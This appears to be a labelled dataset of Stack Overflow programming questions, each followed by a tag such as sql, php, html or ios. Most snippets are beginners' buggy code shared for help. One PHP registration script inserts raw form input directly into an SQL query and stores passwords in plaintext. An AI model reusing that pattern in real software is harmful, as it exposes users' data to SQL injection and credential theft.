error when removing a line from a .txt file  working on a guess who game at school and cant find a way to remove a line from a .txt fie. i keep getting the following error:    <pre><code>&lt;_io.textiowrapper name= characters.txt  mode= r  encoding= cp1252 &gt; &lt;_io.textiowrapper name= characters.txt  mode= r  encoding= cp1252 &gt; &lt;_io.textiowrapper name= characters.txt  mode= r  encoding= cp1252 &gt; </code></pre>   here is the code:   <pre><code>information = open( characters.txt   r )  hair = input( does your character have black hair  ) #asks for input under variable name hair if hair ==  yes :     for line in lines: #breaks it down into individual lines         if line.split(   )[1] ==  black hair :                      lines.remove(line)          print(information) </code></pre>,python
declaring variables with initialization vs. using the value directly  i have a java program which is to convert epoch timestamp to date  we have two proposed solutions. one is only 3 lines worth of code  the other about 10 lines. both produce the correct result and the number of operations are the same except for the following:    code 1:   <pre><code> date d = new date;  d = settime(arg1*1000); </code></pre>   code 2:   <pre><code> date d = new date;  long timestamp = arg1 * 1000;  d = settime(timestamp); </code></pre>   is there a difference in here  probably in efficiency  or memory usage  i m not entirely sure if code 2 uses more memory since it declares one more variable   timestamp . input needed. thanks!,java
returning a count of duplicate rows based on 3 matching column entries  in a table  i want to return duplicate rows based on three columns and a count of the duplicates found.    for example  in a row  say i have an entry of 1 for column a  1 for column b and 1 for column c. i only want to return/count this row if other rows have the exact same entry for the 3 columns (1  1 and 1).    thanks in advance! -n,sql
passing a form value to a javascript function  i have read through lots of postings here and around the net  and i even have books covering this subjective  but i just can t get it to work. i just can t get the function to pick up the value of the  radiodrink  variable. i have tried all sorts of combinations using dom methods like below and here using a collection (this) and (form) with no luck. any help would be appreciated.   <pre><code>function valdrink(form){ if (form.radiodrink.value ==  soup )     {     alert( its soup ok! );     return true; // ok      } </code></pre>   ======================here is my code.======================   <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;test&lt;/title&gt;  &lt;script type= text/javascript &gt; &lt;!-- function valdrink() {        if (document.forms.drinks.radiodrink.value ==  soup )     {       alert( its soup ok! );       return true; // soup     }     else     {       alert( ok );       return false; // not soup     } } //--&gt; &lt;/script&gt;  &lt;/head&gt;  &lt;body&gt;   &lt;form method= post  id= drinks  name= drinks  onsubmit= return valdrink() &gt;     &lt;input type= radio  checked name= radiodrink  value= tea &gt;tea&lt;br&gt;     &lt;input type= radio  name= radiodrink  value= coffee &gt;coffee&lt;br&gt;     &lt;input type= radio  name= radiodrink  value= soup &gt;soup&lt;br&gt;     &lt;input type= checkbox  name= checkmilk  value= yes &gt;milk     &lt;input type= checkbox  name= checksugar  value= yes &gt;sugar     &lt;br&gt;     &lt;input type= submit  name= okbutton  value= vend &gt;   &lt;/form&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>,javascript
initialize event in ekeventeditviewcontroller  my code is following   <pre><code>ekeventeditviewcontroller *addcontroller = [[ekeventeditviewcontroller alloc] initwithnibname:nil bundle:nil];   // set the addcontroller s event store to the current event store. addcontroller.eventstore = self.eventstore;  // present eventsaddviewcontroller as a modal view controller [self presentmodalviewcontroller:addcontroller animated:yes];  addcontroller.editviewdelegate = self; [addcontroller release]; </code></pre>   it will appear new event viewcontroller. i want to initialize title and note in ekeventeditviewcontroller.,iphone
returning a local pointer in c <pre><code>const char* returnstr() {     char time[40] = { france };     char* time1;      time1 = time;      return time1; }  int main(int argc  char* argv[])    {     printf ( return string is %s\n  returnstr()); } </code></pre>   this code returns some junk characters. won t the <code>const char*</code> not enough to return the local char pointer  do i have to use the static too in the function,c
change varchar number  i cannot find the information on how to change varchar number of a column of a mysql table.    for instance i have a table  table1  that contains 2 columns :  id  and  response .      response  is using varchar 150 and i want to change it to varchar 2000.    what would be the full sql command    <pre><code>update `table1` set `response`...  </code></pre>   thank you for your help. roman,mysql
is it ok to use javax.lang.model.sourceversion to determine the jre version   is it ok to use <a href= http://docs.oracle.com/javase/8/docs/api/javax/lang/model/sourceversion.html  rel= nofollow noreferrer >javax.lang.model.sourceversion</a> to determine the jre version     if it is  which one is preffered    <pre><code>int version = sourceversion.latest().ordinal(); // or int version = sourceversion.latestsupported().ordinal(); </code></pre>   bonus points to whomever explains when sourceversion#latest() and sourceversion#latestsupported() can differ.    ps. i am aware of <a href= https://stackoverflow.com/questions/2591083/getting-version-of-java-in-runtime >getting java version at runtime</a>,java
select the grandparent list of anchor tag  i want to highlight the particular anchor tags  grandparent list(<code>&lt;li&gt;</code>).i am using <code>window.location.href</code> to select particular anchor tag. but i don t know how to highlight that particular anchor tags  grandparent <code>li</code>     <strong>html</strong>   <pre><code>&lt;ul id= dc_jqaccordion_widget-3-item &gt;      &lt;li&gt;&lt;a&gt;&lt;/a&gt;&lt;/li&gt;     &lt;li&gt;/*want to highlight this*/         &lt;ul&gt;             &lt;li&gt;                 &lt;a href= something &gt;&lt;/a&gt;             &lt;/li&gt;         &lt;/ul&gt;     &lt;/li&gt; &lt;/ul&gt; </code></pre>   <strong>jquery</strong>   <pre><code>jquery( #dc_jqaccordion_widget-3-item ul li ul li a ).each(function(){      if(jquery(this).attr( href ) == window.location.href){                   jquery(this).css( background-color    #fedfb5 );         jquery(this).parents( ul ).find( #dc_jqaccordion_widget-3-item ul li a ).css(  background-color    red  );     }   }); </code></pre>   the above code affects all anchor tags in ul  need help,jquery
how do i override mymodel.new(attributes) in rails   in a normal rails app  if i have a model named mymodel an instance of it can be created via     <code>mymodel.new(attributes)</code>    if mymodel inherits from activerecord::base  how can i override the  new  method,ruby-on-rails
http:  in href attribute without forward slashes  what is the affect of using <code>http:</code> without forward slashes after the colon.     this is what i know/tested so far:   <ul> <li><code>..</code> = the domain (<a href= http://example.com  rel= nofollow >http://example.com</a>)</li> <li><code>-&gt;</code> = after the href link is clicked</li> </ul>  <hr>   <strong>case a</strong> - <code>&lt;a href= http:# &gt;..</code>   <pre><code>from a file at root directory: ../ -&gt; ../#  from a file at a subdirectory: ../sub/ -&gt; ../sub/#  from a get or rewrited url: ../ q=about or ../about/ -&gt; ../# </code></pre>  <hr>   <strong>case b</strong> - <code>&lt;a href= http:something &gt;..</code>   <pre><code>from a file at root directory: ../ -&gt; ../something  from a file at a subdirectory: ../sub/ -&gt; ../sub/something  from a get or rewrited url: ../ q=about or ../about/ -&gt; ../something </code></pre>  <hr>   so what s happenin,html
need help building a jquery dropdown menu  i m just starting out with jquery. i want to make a simple  ul  dropdown menu to improve my understanding. the basic flow is this:     ul.menu li ul  has display:none >> on hover of li  get &amp; store height of  this  ul >> set height of  this  ul to 0 >> set display to block >> animate height to original stored height    i know there are already some great plugins for dropdowns  but i really want to roll my own to get a better understanding of jquery.    so far i have managed the following  very badly done (see live version here - <a href= http://jsbin.com/eduvi  rel= nofollow noreferrer >http://jsbin.com/eduvi</a>):   <hr>  <pre><code>var $j = jquery.noconflict(); $j(document).ready(function(){  // get height of current hidden ul          $j( ul.menu li ).hover(function() {            getheight($j( ul   this).height());          }); // set height to 0px          $j( ul.menu li ).hover(function() {      $j( ul   this).css({ height : 0px }); });  // set display to block       $j( ul.menu li ).hover(function() {      $j( ul   this).css({ display : block }); });  // animate height to stored height        $j( ul.menu li ).hover(function getheight(h) {      $j( ul:first   this).stop().animate({  height  :  100%  }   400 ); });  // display height of current hidden ul      function getheight(h) {       $j( div.test ).text( the height for the hidden ul is   + h +  px. ); }   }); </code></pre>  <hr>   i d like to know how do i get it to use the stored original height  in place of that 100%.    and secondly  i m sure this can all be condensed down to just a few lines  but don t really have a clue how to do that yet.    any help very much appreciated!    update: ok  so i m almost there. i used the code marve posted as a base and worked in the other bits. the only thing that s not working is i need to reset the height of the hidden ul  at the end of everything  to it s original height  and set it s display to none  so it s ready to be hovered again. any ideas why it won t work    <hr>  <pre><code>$j( ul.menu &gt; li ).hover(     function() { var ulheight = $j( ul   this).height(); $j(this).children( ul ).css({height: 0}).stop().animate({height: ulheight}  400); }      function() { $j(this).children( ul ).stop().animate({height: 0}  400).css({height: ulheight  display:none});   } ); </code></pre>  <hr>,jquery
html on press enter trigger a button  i want to tigger the button <code>name=buttonexecute</code> when ever user press <kbd>enter</kbd> key. can some one help me in this pls.   <pre><code>&lt;div class= mytext1  style= height: 40px; &gt;     &lt;br&gt;     &lt;form id= myform  method= post  style= font-size: 22px &gt;text :         &lt;input type= text  id= search_text  name= search_text  size= 44  autofocus&gt;extension :         &lt;input type= text  id= search_extension  name= search_extension  size= 4  maxlength= 4 &gt;&amp;nbsp; sub files         &lt;input type= checkbox  id= subfolder  name= subfolder  value= 0 &gt;&amp;nbsp;&amp;nbsp; lto-no.         &lt;input type= text  id= search_ltono  name= search_ltono  size= 4  maxlength= 4 &gt;&amp;nbsp;&amp;nbsp;         &lt;input name= buttonexecute  id= endereco                  type= button  value= show&amp;nbsp;&amp;nbsp;                 onclick= ajaxfunction(search_text.value search_ltono.value search_extension.value)                  autofocus&gt;     &lt;/form&gt; &lt;/div&gt; </code></pre>,html
the height of the div does not grow dynamically  i went through most of the posts on this but nothing helped.    i need to increase the <code>div</code> to <strong>100% height</strong> so that it fits the length of the window and applicable to <em>child divs</em> too.   <pre><code>#container{     width: 75%;      background-color: silver;      background-position: center;     min-height: 100px;     overflow : hidden;     margin: 0 auto; }  #header{     background-color:infotext; }  h1{     margin-bottom: 0;      color: white; }  #list{     width: 20%;      background-color:window;      float: left;     height:100%; } #links{     width: 55%; } </code></pre>   code:   <pre><code>&lt;body&gt;     &lt;div id= container &gt;         &lt;div id= header &gt;             &lt;h1 align= center &gt;represent&lt;/h1&gt;         &lt;/div&gt;         &lt;div id= list &gt;             &lt;span&gt;&lt;h4&gt;fruits&lt;/h4&gt;&lt;/span&gt;             &lt;hr&gt;             &lt;p&gt;apple&lt;/p&gt;&lt;br&gt;             &lt;p&gt;mango&lt;/p&gt;&lt;br&gt;             &lt;p&gt;orange&lt;/p&gt;         &lt;/div &gt;         &lt;div id= links &gt;         &lt;iframe src= http://www.google.co.in  frameborder= 0 &gt;         &lt;/iframe&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>   the issue is that the <code>container div</code> and the rest of the <code>divs</code> does not expand even if the <code>iframe</code> size is big and hence  <code>scrollbar</code> appears. any solutions    <hr>   another issue:    the div of the iframe does not take up the full width. i put 20% for #list and 55% for #links so that it fits within the parent div #container 75%. this does not happen!!,html
regarding home page  i hava a web application. in that i have a link called  home . when the user clicks the starting page of the web application that is index.jsp should be displayed in the same page. how can i do that. it should work in internet explorer.     i have the following html page.   <pre><code>&lt;html&gt;  &lt;body bgcolor= #fff8dc &gt;  &lt;a href= index.jsp  target= parent  &gt;home&lt;/a&gt;   &lt;/body&gt; &lt;/html&gt; </code></pre>   but it is not working.,html
can you use a .net 4.0 dll in a 3.5 project   can you use a .net 4.0 dll in a 3.5 project,.net
how to add contact from the aplication   i want to add contact number name etc from the my application.is it possible if yes then please help me.,iphone
how can i display my favicon icon   its there path is ok  i am not too much experience developer started developing this site !have tried all the ways but not able to print the favicon please help  here s the site url: <a href= http://onlinemcq.com/  rel= nofollow noreferrer >http://onlinemcq.com/</a>,html
html: how to make all the divs in the center of the page   like:   <pre><code>&lt;body&gt; &lt;div&gt;&lt;/div&gt; &lt;div&gt;&lt;/div&gt; &lt;/body&gt; </code></pre>   how can i make all the divs at the center of the webpage     i mean in the browser.,html
facing camera faceup uideviceorientation issue when use uiimagepickercontroller  i have an app that works on landscape  already in the store  and decided to add a camera for a certain new feature in my next update. with an ipad 2 the image inside the camera appears rotated <strong>90</strong> degrees in clockwise direction. once the picture is taken it appears it s saved correct position. needed is that always there should be a landscape mode while taking picture and once image is clicked and saved.but image inside the camera appears to be in portrait view. i also checked the device orientation i.e faceup orientation.    i have used the below code to manage the orientation but could not resolve   <pre><code>- (bool)shouldautorotate { uideviceorientation orientation = [[uidevice currentdevice] orientation]; // uideviceorientation orientation = [[uiapplication sharedapplication] statusbarorientation]; if (orientation == uideviceorientationfaceup ) {     return no; } else if (orientation == uideviceorientationfacedown) {     return no; } return yes; } </code></pre>,ios
how to write query in the following case   i have the following table.  how do i query table team is as follows:   <pre><code>    id name city league     1 name1 city1  a     2 name2 city1  b </code></pre>,sql
how to return any type value like -performselector   the return-type of <code>-performselector</code> method is <code>id</code>  and i found this in apple document:    <code>for methods that return anything other than an object  use nsinvocation.</code>    but the following code works well:    <code>bool boolvalue = (bool)[self performselector:@selector(boolvalue)];</code>    it can return <code>id</code>  <code>bool</code>  <code>nsinteger</code>  etc. <strong>i want to know how to do that </strong> because casting a <code>bool</code> or <code>nsinteger</code> to <code>id</code> in the return statement caused an error:    <code>cast of  nsinteger  (aka  long ) to  id  is disallowed with arc</code>    thanks in advance!    ---- edit ----    thank you for the answers.    <strong>i know it is not good to do that and i also know how to use nsinvocation  i just want to know how does <code>-performselector</code> method implemented.</strong>,objective-c
block a caller/contact from user s contact list in ios  presently i m developing an ios app to block unwanted contact/caller from user s contact list. in this app user will be shown a list of contact from his phone book and user can mark block/unblock a contact/caller now if a contact/caller mark as blocked the app should block the call(it might ring once and then be disconnected automatically).    can any one suggest me how it is possible  please. reference: <a href= https://itunes.apple.com/in/app/call-bliss-silence-calls-text/id575698521 mt=8  rel= nofollow >https://itunes.apple.com/in/app/call-bliss-silence-calls-text/id575698521 mt=8</a>    thank you so much.,ios
need a query where if 2 condition is satisfying on 2 different date it should not show in output  **table a **   <pre><code>lotid |     salesorderdocline | trstype |   trsdate   ------+-----------------------+---------+------------------ 111   |     45                | 400     |   10/11/2015   111   |     0                 | 103     |   15/11/2015   111   |     65                | 400     |   16/11/2015   112   |     57                | 133     |   27/08/2015   112   |     0                 | 103     |   29/08/2015   113   |     14                | 400     |   24/07/2015  </code></pre>   <strong>output</strong>   <pre><code>lotid | salesorderdocline  |    trstype  |  trsdate ------+--------------------+-------------+----------------- 112   | 0                  |    103      |  29/08/2015   </code></pre>   my concern is if the lotid is having trstype as 103 today but tomorrow if it changed to 400 it should not come in the output  if it is changed permanently to 103 than it should show in output,sql
angularjs adding controller dynamically  i don t want to load all of my controllers. i have found some articles about loading a controller dynamically but haven t succeeded. i tried:   <pre><code>var premaapp = angular.module( premaapp   [ ngroute ]); premaapp.config(function ($routeprovider) { $routeprovider     .when( /       {         templateurl:  /home/test           controller:  personcontroller           resolve:  /app/controllers/product.controller.js      });   }); </code></pre>   but i got an error. what is the right way to do this,angularjs
exc_bad_access on nslog unless the nsstring is manipulated and printed first  i m trying to get a feel for objective c  so i wrote the code below to try to print the contents of a web page:   <pre><code>id url = [nsurl urlwithstring:@ http://www.google.com ]; nsurlrequest* req = [nsurlrequest requestwithurl:url]; nsurlresponse* resp = [nsurlresponse new]; nsurlconnection* conn = [nsurlconnection new]; nserror* error = nil; nsdata* data = [nsurlconnection sendsynchronousrequest:req returningresponse:&amp;resp error:&amp;error]; nsstring* html = [[nsstring alloc] initwithdata:data encoding:nsutf8stringencoding]; //    printf([[html substringtoindex:50] cstring]); nslog(html); </code></pre>   when i run this as-is  i get <code>exc_bad_access</code> on the nslog line.  when i uncomment the second-last line it works.  if i change the printf to an assignment it stops working again.  i m clearly missing something here about how the memory model works  but it seems like the commented out line shouldn t make any difference since it s creating a new string and it <strong>really</strong> seems like printf vs an assignment shouldn t make a difference.  in the xcode debugger when the program crashes i can see that <code>html</code> does contain the html string i wanted to print.,objective-c
asp.net targetframework attribute isn t recognized  i have been trying to make a project  but in web.config  it keeps giving me the error that it doesn t recognize the attribute targetframework.    edit: added the web.config. i have seen one question with the same problem and they said there that it should be the same version as the version of asp.net. but i don t really see how to do that.    p.s. i can t change to a different version of visual studio (i use that program) since it won t allow me to run the files on local web. but that s a different problem.    been a while now. guess it s a tough problem.   <pre><code>&lt; xml version= 1.0  &gt; &lt;!--  note: as an alternative to hand editing this file you can use the  web admin tool to configure settings for your application. use the website-&gt;asp.net configuration option in visual studio. a full list of settings and comments can be found in  machine.config.comments usually located in  \windows\microsoft.net\framework\v2.x\config   --&gt; &lt;configuration&gt; &lt;appsettings/&gt; &lt;connectionstrings/&gt; &lt;system.web&gt;     &lt;!--          set compilation debug= true  to insert debugging          symbols into the compiled page. because this          affects performance  set this value to true only          during development.     --&gt;     &lt;compilation debug= true  targetframework= 4.0 &gt;         &lt;assemblies&gt;                &lt;/assemblies&gt;     &lt;/compilation&gt;     &lt;!--         the &lt;authentication&gt; section enables configuration          of the security authentication mode used by          asp.net to identify an incoming user.      --&gt;     &lt;authentication mode= windows /&gt;     &lt;!--         the &lt;customerrors&gt; section enables configuration          of what to do if/when an unhandled error occurs          during the execution of a request. specifically           it enables developers to configure html error pages          to be displayed in place of a error stack trace.      &lt;customerrors mode= remoteonly  defaultredirect= genericerrorpage.htm &gt;         &lt;error statuscode= 403  redirect= noaccess.htm  /&gt;         &lt;error statuscode= 404  redirect= filenotfound.htm  /&gt;     &lt;/customerrors&gt;     --&gt;     &lt;pages controlrenderingcompatibilityversion= 3.5  clientidmode= autoid /&gt;        &lt;/system.web&gt; &lt;system.codedom&gt; &lt;/system.codedom&gt; &lt;!--      the system.webserver section is required for running asp.net ajax under internet     information services 7.0.  it is not necessary for previous version of iis. --&gt; &lt;system.webserver&gt; &lt;/system.webserver&gt; &lt;/configuration&gt; </code></pre>,asp.net
initialize long long with value starting with 0 leads to strange values  what happened here    <pre><code>long long value; value = 001111011112; </code></pre>   in visualstudio debugging  the value shows with value 153358922.    if the number doesn t start with 0  all is correct...    any recommendations how to keep using my initialization style,c++
creating iphone app for personal use without uploading to appstore  i am planning to do an app for personal use only (i don t want to upload anywhere  ex: appstore)    <strong>is it possible to build one and transfer + install it to my jailbroken ipodtouch </strong>    i just want to make sure it is possible so i don t waste my time creating an app that i can t use ( cause i am not paying $99 to upload it on the appstore),iphone
where field like concat( 25   _   153   _    %  )  i would like to get rows where a field begins for example by  25_15_  (25_15_value could be accepted)    so i use this condition :   <pre><code>where `id` like concat( 25    _   15    _     %  )  </code></pre>   but mysql returns <strong>25_153_value</strong> :(    ideas   thanks,mysql
jquery css selector conflict with glyphicon <pre><code>$( #footer_action_button ).text( update ).css({fontfamily: verdana });     $( .deletecontent ).hide();     $( #footer_action_button ).addclass( glyphicon-check );     $( #footer_action_button ).removeclass( glyphicon-trash );     $( .modal-title ).text( edit information );     $( #mymodal ).modal( show ); </code></pre>   i have that jquery function but the glyphicon doesn t display if i have the <code>.css({fontfamily: verdana });</code>    i have to exclude that line inorder for the glyphicon to appear. how does it work   but when i remove that line the font-family is ignored.,jquery
need to find out who is retaining an nsmutablearray  i have an issue where i need to find out what objects are retaining a nsmutablearray. if it is an object i created i can just override retain and release and set a breakpoint on it  but since it is a nsmutablearray i can t. i tried to subclass nsmutablearray but i get exceptions when i try to add to my subclass. any ideas     i know you should not really be looking at retain counts but this is complicated code that i inherited and don t know what objects are retaining it.,iphone
html play mp4 video on spoiler click  how do i make so that a .mp4 video plays when i open the spoiler  when i press the show/hide button i want the video to start!   <pre><code>&lt;div id= spoiler4  style= display:none &gt;  &lt;h1 style= color:red; &gt;testing!&lt;h1/&gt; &lt;/div&gt; &lt;button title= click to show/hide content  type= button  onclick= if(document.getelementbyid( spoiler4 ) .style.display== none ) {document.getelementbyid( spoiler4 ) .style.display=  }else{document.getelementbyid( spoiler4 ) .style.display= none } &gt;show/hide&lt;/button&gt; </code></pre>,html
cannot use database.db_name  i m trying to connect to the database  it is connected successfully but not able to use database. i;m very new to this concept of php. please help me out and let me know if i m going wrong somewhere   <pre><code>&lt; php     define( db_name    bvh );     define( db_user    root );     define( db_password     );     define( db_host    localhost );      $link = mysql_connect(db_host  db_user  db_password);      if(!$link){         die( could not connect:  .mysql_error());     }     echo  connected successfully&lt;br&gt; ;     $db_selected = mysql_select_db(db_name  $link);      if(!$db_selected){         die( cannot use  .db_name. : . mysql_error());     }     $yname=$_post[ yname ];     $faculty=$_post[ faculty ];     $class=$_post[ class ];     $uname=$_post[ uname ];     $email=$_post[ email ];     $pwd=$_post[ pwd ];     $rpwd=$_post[ rpwd ];      $sql =  insert into students (yname  faculty  class  uname  email  pwd  rpwd) values( $yname    $faculty    $class    $uname    $email    $pwd    $rpwd ) ;      if(!mysql_query($sql)){         die( error:   .mysql_error());     }     mysql_close();      &gt; </code></pre>,php
vb.net properites not seen in c#   i have a project in vb.net that i use for authentication.  i referenced it within my c# app and all works till i get to basically getting the user.  here is a property    <pre><code>public readonly property userid() as string     get         return _userid     end get end property </code></pre>   is there a way for me to rewrite in c# or could it be something else that c# does not like  and here is the code that references the class. _theuser comes back null.  which leads me to suspect the properties in vb are not being read.   <pre><code>public partial class _default : system.web.ui.page {     private adsecurity.usercredentials _theuser;      protected void page_load(object sender  eventargs e)      {         if (!ispostback)         {           _theuser = (adsecurity.usercredentials)session[ thisuser ];         if (_theuser.isvaliduser)               {                 if (_theuser.isadmingroup | _theuser.ismanagersgroup |                     _theuser.isprojmanagersgroup | _theuser.isproduction |                     _theuser.issales | _theuser.isflight | _theuser.issupport)                 {                   } </code></pre>,c#
html conversion to asp.net in visual studio  i have a project that is done in html but now need to take it in visual basic cause it will be coded in asp.net.    any idea what will be changed as far as html markup is concerned to asp.net markup. i know the syntax is different for buttons and tables.    what will be the quickest way to transition the project to visual studio.    thanks,html
check if a div has controls javascript  i use alert to check if a div has any child controls:   <pre><code>alert(document.getelementbyid( maincontent_imgcontainer ).haschildnodes()); </code></pre>   and this always returns true even if the maincontent_imgcontainer div doesn t have any child controls     please tell me what is the better way to determine if a div has child controls.. thanks,javascript
how to select common rows between 6 databases and order the result   i have very large databases     <ul> <li>3 databases for users each one containing only one table called index and very large databases</li> <li>3 databases for status update each one containing only one table called index</li> </ul>   i wanna get the mutual rows between the 6 databases how to select and order them      <pre><code>    select * from db1  db2  db3  db4  db5  db6 where db1.index.user_id  db2.index.user_id   db3.index.user_id = db4.index.user_id  db5.index.user_id  db6.index.user_id order by  db1.index.name  db2.index.name  db3.index.name </code></pre>  <hr>   is there a way to make this code,mysql
getting class instance properties assigning it through id variable  i m in the process of studying objective-c. if i understand correctly  using code like this:   <pre><code>id data; myclass = [[nsobject alloc]init]; data = myclass; </code></pre>   assigning <code>myclass</code> instance to <code>data</code>  therefore  i can use <code>data</code> just like i could use <code>myclass</code>.    the following code is working correctly:   <pre><code>data = myclass; [data methodbelongtomyclass]; </code></pre>   but i can t get access to properties of the class. please take a look (numerator is property of myclass):   <pre><code>myclass.numerator = numerator * datavalue.denominator; </code></pre>   it crashes (actually not even running) because of an error - <code>property denominator not found on object of type  __strond id </code>    yes  i understand its kind of self-explanatory  but  i already assigned class instance to my id object  so why can t i get access to properties      any help and explanation would be appreciated  thanks!,objective-c
"why does the setinterval not fire alternating  tick   tock  every 1000ms and instead fires synchronously every 2000ms   type this in console too see:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>tick = () =&gt; console.log(1);
 
 tock = () =&gt; console.log(2);
 
 tickid = setinterval(
   () =&gt; this.tick() 
   2000
 );
 
 console.log(tickid);
 
 tockid = settimeout(
   console.log(
     setinterval(
       () =&gt; this.tock() 
       2000)
   ) 
 
   1000
 );</code></pre>
 </div>
 </div>
     i included the two console.logs of the setinterval too show that they dont have the same id.    i want a clock alternating tick() and tock() every 1000ms.    (please no answers where i use a boolean instead  i dont want that  i want to know why this logic does not work)",javascript
using microsoft.practices.enterpriselibrary.logging 6 parameters overloaded write method  writing extra \r\n <blockquote>    logger.write(_indent + message  category.tostring()  1  100    eventtype  title);  </blockquote>   <strong>the above write method write text like so in a log file which is text file</strong>   <blockquote>    9/21/2015 10:01:49 am | information | adding key in dictionary  user:   abc        \r\n  </blockquote>   here you can see extra \r\n which has not been provided by me in any parameter. <strong><em>i do not want these extra \r\n characters</em></strong>,c#
how to install man pages for c standard library functions in mac os x  i want to see the mag page of some c standard library functions in mac os x  while i typed in <code>man setsockopt</code>  it returns to <code>no manual entry for setsockopt</code>. is that means i haven t installed man pages for c standard  how should i to install it,c
mysql: select tuples until a column s summing up reaches a threshold  i have this simple table:   <pre><code>name    percentage   john        0.0069 anna        0.0049 martin      0.0047 george      0.0047 calvin      0.0044 andrew      0.0044 </code></pre>   the idea is:  select the first x elements which percentages sum up to 0.51 .    could it be possible in a mysql query to select tuples until the summing up of the percentages reaches a threshold     theyre already in order  and i want the element that reaches and passes the threshold as well    many thanks in advance,mysql
sql query. converted records seen in a row  if i have the following data layout seen below how could i return a query to switch the  inforceind  records displaying as  0  to  1   (as long as 1  policynumber  record contains a  inforceind  record of  1  switch all remaining rows from  0  to  1  )   <pre><code>columns - policynumber  inforceind row   -            xyz  1 row   -            xyz  0 row   -            xyz  0 </code></pre>   thank you in advance.,sql
mysql - age in minutes  this is a pretty simple homework problem that i ve been stuck on for a while. can someone show  me how to go about solving this     a baby is born on march 1 2012 12:00:00. how old will he be in minutes on july 4th 2013 13:30:00,mysql
offsetof function in c++  here is code      <pre><code>#include &lt;stdio.h&gt; #include &lt;stddef.h&gt;  struct mystruct {   char singlechar;   char arraymember[10];   char anotherchar; };  int main () {   printf ( offsetof(mystruct singlechar) is %d\n  offsetof(mystruct singlechar));   printf ( offsetof(mystruct arraymember) is %d\n  offsetof(mystruct arraymember));   printf ( offsetof(mystruct anotherchar) is %d\n  offsetof(mystruct anotherchar));    return 0; } </code></pre>   output of which is   <pre><code>offsetof(mystruct singlechar) is 0 offsetof(mystruct arraymember) is 1 offsetof(mystruct anotherchar) is 11 </code></pre>   i have read this documentation   <pre><code>http://www.cplusplus.com/reference/clibrary/cstddef/offsetof/ </code></pre>   but i did not understand no not because of my english but i dont understand  documenattion itself  please can anybody give me a little example or tell me how it works   thanks,c++
lazy loading image in ng-repeat  i want to lazy load image for my incoming data  the hurdle is i have to display data along with the photo     <strong>scenario</strong>: along with my data i receive an id and i have to call a function that get image from the requested ur and format of image is base64    <strong>test 1 case</strong>    *note its just an example data is dynamic   <pre><code>&lt;div ng-repeat= data in data &gt;         &lt;div class= col-md-2 &gt;             &lt;img ng-src= data:image/jpeg;base64 {{data.photo}}  ng-init= callbackendimage(data.id) &gt;             &lt;!--i want to call this function everytime to get image--&gt;             &lt;!--reponse if image is {name: xyz  image: base64string --&gt;          &lt;/div&gt;         &lt;div class= col-md-10 &gt;             &lt;td style= vertical-align: top;min-width: 35px; &gt;                 &lt;span&gt;&lt;b&gt;{{data.location}}&lt;/b&gt;&lt;/span&gt;             &lt;/td&gt;         &lt;/div&gt;      &lt;/div&gt; </code></pre>   <strong>app.js</strong>   <pre><code>$scope.callbackendimage= function (id  data) {         console.log( caled )         console.log(id)         $rootscope.showpreloader = true;         awtcdataservice.getrequest(id).then(function (_response) {             console.log(_response)             var res = _response             if(res.data.success) {                 data.photo = res.data.image//getting base64 string                }             console.log(data)             // else {             //     ctrl.errorcallback =  true             //     ctrl.errorfunction =  3             // }             $rootscope.showpreloader = false;          }) </code></pre>   problem with above code:    the function is called and i get my image if data is too long there will be a lot of request to back-end   i want to call this function with id only when its available on view port or in container in other words on scroll call this function with id callbackendimage(data)    any help will be greatly apprecaited,angularjs
display duplicates with non duplicates  i have this table:   <pre><code>name | add | city | id ---------------------- dan  | df  | mum  |  1 abu  | kj  | del  |  2 abu  | kj  | del  |  3 abu  | bv  | kol  |  4 jas  | ol  | ch   |  5 </code></pre>   the following query will display rows with the name <code>abu</code>:   <pre><code>select * from table where name like %abu%  </code></pre>   now i want to eliminate duplicates. for that i can use the group by clause. but it doesn t display the rows which are not duplicate.    it should display like   <pre><code>abu kj del abu bv kol </code></pre>   how can i achieve that,sql
add buttons to a asp.net listview column for processing  i want to add several buttons to a asp.net listview column for processing. admin can dial members  phone number and then click on one of the 4 buttons to change the status of that member in db.    for example  there are 3 columns  memberid  phone and status.    memberid phone status    1 91234567 4 buttons to change the status after clicking them (4 status id:0 1 2 3)<br> 2 95555555 4 buttons ...<br> 3 95553155 4 buttons ...      i have already written a method to change the status:<br> public void changestatus(int memberid  int status)    what is the code for those 4 buttons  set the command name and command argument  what s the server side event to process,asp.net
mysql query rows in a database for a phrase and append it if it doesn t exist  i have a table with the column maps  and some map names end with the phrase _csgo and others don t. is it possible to search through that specific column and if the string doesn t have the ending _csgo to add it  thanks,mysql
i want to use $index of ng-repeat in same tag line  i want to use $index of ng-repeat in same tag line   <pre><code>&lt;uib-tabset active= activeameneties  justified= true  class= resp-tabs-list hor_1 classforfont &gt;     &lt;uib-tab ng-repeat= amenity in prop.all_amenities  class= ami_tabs  index=    heading= {{amenity.amenity}}  index= {{amenity.id}} &gt;          &lt;div class= resp-tabs-container hor_1  &gt;             &lt;div class= extmar &gt;                 &lt;br/&gt;                 &lt;div class= row &gt;                     &lt;div class= col-lg-3 col-md-4 col-sm-6 col-sm-6  col-xs-12  ng-repeat= sub_amenity in amenity.subamenities &gt;                         &lt;div class= prop-checkbox &gt;                             &lt;div class= checkbox checkbox-info checkbox-inline &gt;                                 &lt;input id= smoking-1  class= checkbox-custom  name= smoking-1  type= checkbox  value={{sub_amenity.id}}&gt;                                 &lt;label for= smoking-1  class= checkbox-custom-label &gt;{{sub_amenity.amenity}}&lt;/label&gt;                             &lt;/div&gt;                         &lt;/div&gt;                     &lt;/div&gt;                 &lt;/div&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/uib-tab&gt; &lt;/uib-tabset&gt; </code></pre>,angularjs
